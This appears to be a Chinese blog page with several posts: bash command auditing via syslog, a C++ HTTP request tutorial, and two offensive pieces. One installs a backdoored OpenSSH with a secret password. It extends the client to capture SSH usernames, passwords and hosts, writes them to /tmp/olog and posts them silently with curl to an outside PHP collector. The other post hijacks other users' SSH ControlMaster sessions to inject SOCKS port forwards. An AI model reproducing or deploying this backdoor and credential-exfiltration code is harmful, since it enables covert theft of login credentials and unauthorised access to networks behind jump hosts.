完善linux bash操作记录审核方法

发布时间:May 1, 2015 // 分类:运维工作,工作日志,VC/C/C++,linux,转帖文章 // No Comments

linux工作的同事一般都了解过bash历史记录的问题,我们之前的做法是通过修改bash源码,把历史记录发送到syslog/var/log/messages这个文件里面,再在syslog配置文件里面加入 *.* @Ip发送到远程日志服务器上面。期间有经历过一些多多少少的bug之类的,比如我们是通过keyroot权限登录服务器的,记录的时候可能一条操作记录同时记录到几个人的key,普通用户记录的问题,特别是最近解决的一个严重bug:不能记录远程ssh执行的命令,比如 ssh ip “pwd” 我们记录不到这个pwd命令!在比较空闲时候通过n多的测试,这些都解决了。我们一步一步说起:

先来几个效果图:

正常情况下登录,然后执行命令是这个效果:

远程ssh过来执行命令时候是这个效果:

中间那个ip是远程过来的ip,在本机执行了pwd这个命令,user值就是我们要得到的

远程scp复制的日志是这个效果:

 

为了bash能记录到操作记录,我们修改源码:

config-top.h文件里面把#define SYSLOG_HISTORY这个宏定义打开,修改bashhist.c里面的内容:

701行左右修改稿bash_syslog_history函数,修改完之后内容:

void
bash_syslog_history (line)
     const char *line;
{
  char trunc[SYSLOG_MAXLEN];
     const char *p; 
     p = getenv("NAME_OF_KEY");
  if (strlen(line) < SYSLOG_MAXLEN)
    syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY: PID=%d PPID=%d SID=%d  User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(getpid()),  cu
rrent_user.user_name, p, line);
  else
    {   
      strncpy (trunc, line, SYSLOG_MAXLEN);
      trunc[SYSLOG_MAXLEN - 1] = '\0';
      syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "HISTORY (TRUNCATED): PID=%d  PPID=%d SID=%d User=%s USER=%s CMD=%s", getpid(), getppid(), getsid(
getpid()), current_user.user_name, p, trunc); 
    }   
}

我们这里定义的是NAME_OF_KEY这个变量,即bash记录的操作记录是这个人操作的,稍后我们要做的就是怎么得到NAME_OF_KEY这个变量。

接下来要做的就是编译bash

./configure –prefix=/usr/local/bash_4.1
make
make install

echo ‘/usr/local/bash_4.1/bin/bash’ >> /etc/shells

然后把/etc/passwd里面定义的/bin/bash全部指向/usr/local/bash_4.1/bin/bash这个我们编译的bash

这样重新登录,在messages里面就有了bash打出的log了,只是NAME_OF_KEY这个变量是空的,我们只知道是root执行的,但不知道具体是谁执行的,我们可以通过在登录时候在~/.ssh/authorized_keys这个文件里面找到自己的key,最后一列定义好自己的名字,然后赋值给NAME_OF_KEY就可以了,实现方法是打开sshd登录的debug日志,在/etc/ssh/sshd_config 这个文件里面加入LogLevel DEBUG,保存重启sshd服务即可,这样会在/var/log/secure里面打印出登录过程,我们需要的是Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0c这样类似的日志,这样匹配到了rsakey指纹,然后我们用系统里面加入好的.ssh/authorized_keys这个文件里面的key做对比就知道是哪个key登录的,我们取最后一列的注释即可(.ssh/authorized_keys里面的格式最后一列想对于一个注释,我们加key的时候把具体名字写好)。以前是通过登录的时间和登录的ip来得到匹配的Found matching RSA key这一行,但是问题来了,我们办公网如果有两个人同时登录的话,就有bug了,得到了几个key。。bug,我们继续探讨。

有什么可以决定用户登录系统的唯一指标而且又很容易得到呢?id号,我们登录系统,就会产生一个bash进程,可以通过echo $$得到,这个进程就可以判断这个时候登录用户的唯一性,我们匹配到这个进程idkey,然后取最后一位就可以了。但是也有特殊情况,如果是root用户登录的话,日志里面记录的(sshd[16322]: Found matching RSA key: b7:51:9e:a6:03:cf:1e:23:a7:c2:9a:f5:2f:c4:af:0csshd这里的进程号就是bash进程id,果不是root用户,验证指纹的是另外一个进程号,经测试,发现如果是普通用户的话,这个进程号得通过ps去匹配就可以了。

实现办法:

/etc/profile 里面加入下面这段,让用户每次登录都要加载:

pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

这样我们基本实现了messages里面记录日志的功能,但久了就会发现远程执行的时候这个是无效的,我们另外下办法。

经多次测试,发现远程执行时候,执行的命令会放在BASH_EXECUTION_STRING这个变量里面,所以我们可以把这个变量打入到日志里面,再加好NAME_OF_KEY这个变量就可以了。实现方法:

先判断是否为空test -z “$BASH_EXECUTION_STRING” ,如果发现这个值不为空就通过logger这个命令直接发日志就可以了logger -t -bash -s “HISTORY $SSH_CLIENT USER=$ NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1 ,这里的-t是制定和之前bash记录那样有关-bash的前缀,但是现在没有NAME_OF_KEY这个变量值,原因是之前我们放在/etc/profile文件,远程执行时候是不加载那个文件的,现在我们更改一下位置,把之前那个分离出来,我这里是放在/etc/bash_4399这个文件里面,然后在/etc/bashrc里面加入:

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

这样就完美解决了。

 

虽然是完美解决了,但是在centos 5系列上面才完美,在6系列上面问题就出来了,他不加载/etc/bashrc这个文件。想办法。。man sshd仔细找帮助,发现LOGIN PROCESS这段有些内容:

When a user successfully logs in, sshd does the following:

其中有一条Reads the file ~/.ssh/environment,看来6系列的也会去价值这个文件,测试在这个文件里面加入a=a ,然后远程查看,确实有这个变量值,看来把之前那个判断NAME_OF_KEY 的加在这个文件里面就可以了,看似是可以的,其实不然,这个只是赋值型的加载,并不支持命令,比如a=`pwd`,结果变量a的内容是`pwd`,并不是pwd的执行结果。崩溃。另外下办法。。对比5系列和6系列的系统,发现openssh版本上升了一个大版本,现在怀疑是系统或者openssh版本或者bash版本问题,测试。。在5系列编译6系列的openssh版本,发现失效了,6系列编译5系列的openssh版本居然可以了,看来就是openssh版本问题。解决办法?

下载源码,看看有没有发现opensshbash结合地方的一些可疑地方。n久也只发现sshconnect.c里面有点点猫腻,但是都失败了,后来在bash的源码发现shell.c里面有一些no_rc之类的定义(static int no_rc; /* Don’t execute ~/.bashrc */),看来就是这些变量的问题,结果下面n长又是一团糟。发现下面有个定义相似的变量

/* get the rshd/sshd case out of the way first. */
  if (interactive_shell == 0 && no_rc == 0 && login_shell == 0 && 
      act_like_sh == 0 && command_execution_string)
    {    
#ifdef SSH_SOURCE_BASHRC
      run_by_ssh = (find_variable ("SSH_CLIENT") != (SHELL_VAR *)0) ||
                   (find_variable ("SSH2_CLIENT") != (SHELL_VAR *)0);
#else
      run_by_ssh = 0; 
#endif
 
      /* If we were run by sshd or we think we were run by rshd, execute
         ~/.bashrc if we are a top-level shell. */

google发现了这个含义:

只要编译前在`config-top.h`中定义` SSH_SOURCE_BASHRC`,那么尽管Bash在被sshd fork出来的时候加上了`-c`选项,也确实是non-login non-interactive shell,只要发现`SSH_CLIENT`或者`SSH2_CLIENT`环境变量存在,就仍然会依次载入`SYS_BASHRC``~/.bashrc`文件。”

很切题,就是这个了。马上在原来改过的源码上面继续改,取消了 SSH_SOURCE_BASHRC这个宏定义的注释,重新编译,果然生效了,这些远程登录会加载~/.bashrc这个变量了。继续完善结论:

远程ssh执行命令加入日志方法:

6系列机器:

在原先更改过bash源码的基础上,在源码根目录config-top.h文件里面再加入#define SSH_SOURCE_BASHRC(原先有这个值,只是注释掉了),然后重新编译bash 

5系列和6系列机器把原先/etc/profile里面的从pid=$PPID开始到/bin/rm /tmp/key.log.$pid这段剪切到/etc/bash_4399,在/etc/profile加入. /etc/bash_4399,再统一在/etc/bashrc里面加入test -z “$BASH_EXECUTION_STRING” || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s “HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING ” >/dev/null 2>&1;}

 

这样就完成了远程执行命令的ssh记录

为了让记录发送到远程服务器上面,我们在syslog里面加内容:

5系列是在 /etc/syslog.conf

6系列是在/etc/rsyslog.conf

里面加入 *.* @IP

重启syslog或者rsyslog服务就可以了,远程日志服务器自己搭建~

 

总结最后修改内容:

修改bash源码。

在最原始的/etc/profile里面加入

 test -f /etc/bash_4399 && ./etc/bash_4399
 
/etc/bash_4399 那个文件内容:
pid=$PPID
#在自己home目录得到所有的key,如果/var/log/key 没有的时候,添加进去
while read line
do
grep "$line" /var/log/key >/dev/null || echo "$line" >> /var/log/key
done < $HOME/.ssh/authorized_keys
#得到每个key的指纹
cat /var/log/key | while read LINE
do
                NAME=$(echo $LINE | awk '{print $3}')
echo $LINE >/tmp/key.log.$pid
                KEY=$(ssh-keygen -l -f /tmp/key.log.$pid | awk '{print $2}')
grep  "$KEY $NAME"  /var/log/ssh_key_fing >/dev/null || echo "$KEY $NAME" >> /var/log/ssh_key_fing
done
#如果是root用户,secure文件里面是通过PPID号验证指纹
if [ $UID == 0 ]
then
ppid=$PPID
else
#如果不是root用户,验证指纹的是另外一个进程号
ppid=`/bin/ps -ef | grep $PPID |grep 'sshd:' |awk '{print $3}'`
fi
#得到RSA_KEY和NAME_OF_KEY,用来bash4.1得到历史记录
RSA_KEY=`/bin/egrep 'Found matching RSA key' /var/log/secure|/bin/egrep "$ppid"|/bin/awk '{print $NF}'|tail -1`
 if [ -n "$RSA_KEY" ];then
NAME_OF_KEY=`/bin/egrep "$RSA_KEY" /var/log/ssh_key_fing|/bin/awk '{print $NF}'`
fi
#把NAME_OF_KEY设置为只读
readonly NAME_OF_KEY
export NAME_OF_KEY
/bin/rm /tmp/key.log.$pid

/etc/bashrc追加一行

test -z "$BASH_EXECUTION_STRING" || { test -f /etc/bash_4399 && . /etc/bash_4399; logger -t -bash -s "HISTORY $SSH_CLIENT USER=$NAME_OF_KEY CMD=$BASH_EXECUTION_STRING " >/dev/null 2>&1;}

Linux审计功能实现的两种实现方式:由于当前网络安全很问题很突出,黑客们又都很强大,不怕外患,像小公司不足被黑客盯住,就怕内忧,历史记录怎么能少呢?linux系统本身虽然提供了历史命令的记录功能(记录在:~/.bash_history),默认也能记录1000条之多,但是容易被清除,依然不安全,所以需要采取别的方式记录下服务器操作的日志,这样"坏蛋"将无处可遁,下面将介绍两种简单的实现方式:

第一种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

HISTSIZE=1000
HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT
export HISTORY_FILE=/var/log/audit.log
export PROMPT_COMMAND='{ thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logMonth=${whoStr[2]};logDay=${whoStr[3]};logTime=${whoStr[4]};pid=${whoStr[6]};ip=${whoStr[7]};if [ ${thisHistID}x != ${lastHistID}x ];then echo -E `date "+%Y/%m/%d %H:%M:%S"` $user\($realUser\)@$ip[PID:$pid][LOGIN:$logMonth $logDay $logTime] --- $lastCommand ;lastHistID=$thisHistID;fi; } >> $HISTORY_FILE'

#然后便可查看是否生效了呢?

[root@test2 ~]# cat /var/log/audit.log
2015/04/14 14:18:42 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/09 09:22:57 cat /etc/sysctl.conf
2015/04/14 14:19:16 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:16 cd /usr/local/nginx/conf/sites-enabled/
2015/04/14 14:19:17 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:17 ll
2015/04/14 14:19:27 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:19:27 cat awstats.conf
2015/04/14 14:21:04 root(root)@[PID:(192.168.101.110)][LOGIN:2015-04-14 14:18 .] --- 2015/04/14 14:21:04 cat /etc/profile


第二种:

#将下面这段内容添加在/etc/profile文件末尾,完事后执行source /etc/profile使之生效。

function log2syslog{
declare command
command=$(fc -ln -0)
logger -p local1.notice -t bash -i — $SSH_CLIENT :$USER : $command
}
trap log2syslog DEBUG
[root@test2 u1]# tail -f -n100 /var/log/messages
Aug 16 18:22:36 test2 bash[4460]: — 192.168.101.116 63383 22 :root : vim /etc/profile

第二种方式目前有一个缺陷就是每次记录的命令,同一条会出现多次,这是待完善的地方。
#哈哈,就算"坏蛋"执行了history -c命令,他的犯罪记录也不会被抹杀掉的,这就叫做"要想人不知,除非己莫为",不要当坏蛋哦~~~

关于openssh通用后门的拓展

发布时间:April 28, 2015 // 分类:工作日志,代码学习,linux,VC/C/C++ // 3 Comments

from:http://www.freebuf.com/tools/10474.html

简单的说下步骤:

安装前首先

ssh -V

记录下原来ssh版本信息,免得安装后一看就版本不一样了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff   //patch  后门
vi includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //你后门的密码
*/

vi version.h                                           //修改ssh版本信息,改成原来的

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log

需要安装zlib

yum install -y zlib zlib-devel    //  http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download  需要 make clean
make && make install
service sshd restart          //重启sshd

然后我们登录ssh看看

再ssh localhost看看

使用后门密码登录是不会被记录的

后门,记录一举两得,是不是很简单.这么简单粗暴的办法,必须进行拓展才好啊。比如。需要把当前的账号和密码发送到远程的地方,而不是简单的保存在本地。或者是利用当前的到账号和密码,来穷举当前机器所在的内网的C段。当然,这些需要自己来做一些加工。首先我们来分析OPENSSH认证的地方。然后从这个地方截取所需要的账号和密码

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后查看openssh的那个patch

diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);

如此,全部的包含信息都有了。账号和密码,还有地址。对了,还缺少一个端口,因为ssh的端口都是在sshd_config里面。那么直接获取就好了。

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }

全部的流程分析清楚了。然后就是直接加进去就好了

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    FILE *f;

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    if((f=fopen("/tmp/olog","a"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,password,authctxt->host,findport());
        fclose(f);
    }
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后,就是国际惯例。./configure make

既然得到了账号和密码。我们考虑下把这个密码发送到远程地址。因为要发送,所以考虑到还要使用sock来发送http请求,后来想起是linux.本身就带有curl的,为何不直接用来请求呢。

    char szres[1024] = {0};
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    //printf("Szres = %s.\r\n",szres);
    system(szres);  

然后接收端这么写

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("sshlog.txt","a+");
        $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>
int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char szres[1024] = {0};

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    printf("Szres = %s.\r\n",szres);//实际的时候不需要这样子
    system(szres);  
    
    return 1;
}

最后的就是这个样子

 

缺点:

调用curl是很方便,但是curl post的时候会传输数据。

root@ubuntu:/tmp/openssh-5.9p1# ./ssh 192.168.1.103
root@192.168.1.103's password: 
root@192.168.1.103's password: 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    63    0     0  100    63      0     43  0:00:01  0:00:01 --:--:--   248
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

705 packages can be updated.
313 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 27 17:04:59 2015 from ubuntu.local
root@ubuntu:~# 

开始以为是curl的问题,后来查询curl的具体使用方法,发现加一个参数-s就好了。也就是

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    system(szres);

PS:

snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());

这里的read_passphrase(prompt, 0)会重新调用验证,所以会出现二次认证的提示。于是在read_passphrase(prompt, 0)的时候复制一次就好了。所以完整的函数体是这样子的


int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
         
     
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;
 
    if (attempt++ >= options.number_of_password_prompts)
        return 0;
 
    if (attempt != 1)
        error("Permission denied, please try again.");
 
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();
 
    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);

    if((f=fopen("/tmp/olog","a+"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}  

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://0xc.cc/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport());
    system(szres);  
   
    return 1;
}

C++ 简单实现HTTP GET/POST 请求

发布时间:April 28, 2015 // 分类:工作日志,VC/C/C++,linux,代码学习,windows,转帖文章 // No Comments

HTTP(超文本传输协议)是一种客户端与服务端的传输协议,最早用于浏览器和服务器之间的通信,后来因为其使用灵活、方便等特点,广泛用于客户端与服务端的通信。文章将简单介绍HTTP协议,同时以C++方式分别实现HTTP GET、POST 请求

HTTP 请求报文

HTTP请求报文的一般格式由4部分组成:请求行、请求头部、空行、请求数据。如下图所示:

请求行:包含3部分内容:请求方法,URL,协议版本。形式如:GET /?aaa=1 HTTP/1.1。请求方法有GET、POST、HEAD、PUT、DELETE、OPTIONS等。URL指请求服务端的地址,可以是相对地址或域名形式的绝对地址。协议版本主要有HTTP/1.1 HTTP/1.0 HTTP/0.9,后面两种已很少使用了。

请求头部:以key/value形式成对表示头部参数,以英文冒号分隔。key名称的约定写法为Key,Key-Name,自定义key名称一般以“X-”开头。如php的声明“X-Powered-By:PHP/5.5.4-1”

空行:用来标识请求头部的数据已结束。

请求数据:可选项,这块内容只在POST方式下使用,作为POST的数据表示区域。使用这块内容,要在请求头部以Content-Length声明请求数据长度,以Content-Type声明请求数据类型。

C++ 实现HTTP POST请求

HTTP POST方式是把请求参数放到HTTP请求报文的请求数据中,为了让例子更容易看懂,仅保留HTTP Post关键参数,你还可以自定义一些参数,比如浏览器喜欢用的User-Agent,Accept,Connection等等

char *pHttpPost = "POST %s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n"  
    "Content-Type: application/x-www-form-urlencoded\r\n"  
    "Content-Length: %d\r\n\r\n"  
    "%s";  
  
char* addr = "http://localhost/post.php";  
char* host = "127.0.0.1";  
int port = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpPost[1024] = {0};  
sprintf(strHttpPost, pHttpPost, addr, host, port, strlen(msg), msg);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpPost, strlen(strHttpPost), 0);  

C++ 实现HTTP GET请求

HTTP GET方式是把请求参数放到HTTP请求报文的请求行URL中,所以请求行就是“GET /?aaa=1&bbb=2 HTTP/1.1\r\n”。URL最大长度通常浏览器取255,这和文件路径最大长度有关。虽然HTTP允许更大长度,但不建议怎么做,如果太长了,可以考虑换成POST方式

char *pHttpGet = "GET %s?%s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n\r\n";  
  
char* addr = "http://localhost/get.php";  
char* host = "127.0.0.1";  
int post = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpGet[1024] = {0};  
sprintf(strHttpGet, pHttpGet, addr, msg,  host, post);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpGet, strlen(strHttpGet), 0);  

 

劫持SSH会话注入端口转发

发布时间:April 27, 2015 // 分类:工作日志,linux,转帖文章 // No Comments

Hijacking SSH to Inject Port Forwards
During red team post exploitation I sometimes run into jump boxes leading to test environments, production servers, DMZs, or other organizational branches. As these systems are designed to act as couriers of outbound traffic, hijacking SSH sessions belonging to other users can be useful. So what do you do when you have full control over a jump box and want to leverage another user's outbound SSH access to tunnel into another segment? What if you don't have passwords, keys, shouldn't drop binaries, and SSH is protected by 2-factor authentication? Roll up your sleeves and trust your command line Kung Fu!

This post will cover two approaches to hijacking SSH sessions, without credentials, with the goal inserting dynamic port forwards on the fly. The two stages at which I'll approach hijacking sessions are: (1) upon session creation, and (2) when a live SSH session exists inside of screen (more common than you'd think). In each case our final goal is to create a tunnel inside another user's active session in order to gain access to outbound routes on the terminating SSHD host.

0x01 细节


1.1第一种场景:

攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:

enter image description here

1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes 

enter image description here

如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

2. 当(ssh_user)连接到hop_1(192.168.56.131)的时候,会在/tmp目录下生成一个socket文件,我们使用

ssh -S /tmp/root@192.168.56.131 %h

来连接

enter image description here

注入命令端口转发的命令如下:

ssh -O forward -D 8888 -S /tmp/root@192.168.56.131 %x

enter image description here

执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。

